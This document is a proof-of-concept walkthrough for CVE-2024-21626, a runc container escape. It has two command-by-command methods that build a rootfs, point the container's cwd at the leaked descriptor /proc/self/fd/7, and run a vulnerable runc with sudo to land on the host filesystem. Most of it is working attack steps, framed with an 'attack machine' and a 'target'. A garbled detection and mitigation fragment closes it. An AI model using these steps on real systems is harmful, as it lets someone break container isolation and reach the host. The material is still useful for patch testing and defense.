
PoC for CVE-2024-21626: runc leaks an internal fd referencing the host CWD before pivot_root, enabling container escape by setting process.cwd to /proc/self/fd/7
| Field | Detail |
|---|---|
| CVE | CVE-2024-21626 |
| Affected Component | runc ≤ 1.1.11 |
| Vulnerability Class | Container escape via file descriptor leak |
| Nickname | Leaky Vessels |
runc leaks an internal file descriptor (typically fd/7) pointing to the host filesystem's working directory before executing the container process. By setting the container's cwd in config.json to /proc/self/fd/7, the process lands in a host directory rather than the container rootfs — achieving a container escape.
Build a minimal rootfs by copying binaries directly from the host:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
What happens: runc opens fd/7 referencing the host CWD before pivoting to the container rootfs. Setting cwd to /proc/self/fd/7 causes runc to chdir() into the host path rather than the container — landing you on the real filesystem.
If you need a more complete environment or the host has limited binaries:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() on /proc/self/fd/ inside container cwd configurations; alert on OCI bundles with cwd containing /proc/self/fd/proc access; consider rootless containers or gVisor/Kata for stronger isolation